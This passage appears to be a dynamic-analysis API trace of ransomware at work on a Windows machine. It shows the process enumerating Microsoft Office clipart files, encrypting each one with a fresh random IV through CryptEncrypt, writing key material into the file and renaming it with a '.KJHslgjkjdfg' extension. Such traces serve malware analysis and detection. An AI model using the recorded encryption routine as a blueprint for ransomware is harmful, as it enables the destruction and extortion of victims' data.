ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2178, lpOverlapped=0x0) returned 1 [0161.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180, dwBufLen=0x2180 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2180) returned 1 [0161.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.064] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2180, lpOverlapped=0x0) returned 1 [0161.064] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.064] SetEndOfFile (hFile=0x114) returned 1 [0161.067] GetProcessHeap () returned 0x2a0000 [0161.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.067] GetProcessHeap () returned 0x2a0000 [0161.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.kjhslgjkjdfg")) returned 1 [0161.068] CloseHandle (hObject=0x114) returned 1 [0161.068] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0161.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.070] GetProcessHeap () returned 0x2a0000 [0161.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.070] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.070] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.073] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.073] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.073] GetProcessHeap () returned 0x2a0000 [0161.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.073] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.073] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.073] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.073] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.073] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.074] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.074] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c4, lpOverlapped=0x0) returned 1 [0161.074] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4d0) returned 1 [0161.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.074] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4d0, lpOverlapped=0x0) returned 1 [0161.074] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.074] SetEndOfFile (hFile=0x114) returned 1 [0161.077] GetProcessHeap () returned 0x2a0000 [0161.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.077] GetProcessHeap () returned 0x2a0000 [0161.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.kjhslgjkjdfg")) returned 1 [0161.079] CloseHandle (hObject=0x114) returned 1 [0161.079] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0161.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.080] GetProcessHeap () returned 0x2a0000 [0161.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.081] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.081] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.083] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.083] GetProcessHeap () returned 0x2a0000 [0161.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.083] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.084] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.084] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.084] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2606, lpOverlapped=0x0) returned 1 [0161.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610, dwBufLen=0x2610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610) returned 1 [0161.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.086] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2610, lpOverlapped=0x0) returned 1 [0161.086] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.086] SetEndOfFile (hFile=0x114) returned 1 [0161.089] GetProcessHeap () returned 0x2a0000 [0161.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.089] GetProcessHeap () returned 0x2a0000 [0161.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.kjhslgjkjdfg")) returned 1 [0161.090] CloseHandle (hObject=0x114) returned 1 [0161.090] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0161.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.091] GetProcessHeap () returned 0x2a0000 [0161.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.091] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.096] GetProcessHeap () returned 0x2a0000 [0161.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.097] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x257c, lpOverlapped=0x0) returned 1 [0161.098] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2580, dwBufLen=0x2580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2580) returned 1 [0161.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.099] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2580, lpOverlapped=0x0) returned 1 [0161.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.099] SetEndOfFile (hFile=0x114) returned 1 [0161.102] GetProcessHeap () returned 0x2a0000 [0161.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.102] GetProcessHeap () returned 0x2a0000 [0161.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.kjhslgjkjdfg")) returned 1 [0161.103] CloseHandle (hObject=0x114) returned 1 [0161.103] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0161.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.104] GetProcessHeap () returned 0x2a0000 [0161.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.104] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.104] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.107] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.107] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.107] GetProcessHeap () returned 0x2a0000 [0161.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.107] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.107] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.107] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.108] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.108] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4278, lpOverlapped=0x0) returned 1 [0161.109] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4280, dwBufLen=0x4280 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4280) returned 1 [0161.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.109] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4280, lpOverlapped=0x0) returned 1 [0161.109] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.110] SetEndOfFile (hFile=0x114) returned 1 [0161.112] GetProcessHeap () returned 0x2a0000 [0161.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.113] GetProcessHeap () returned 0x2a0000 [0161.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.113] MoveFileW 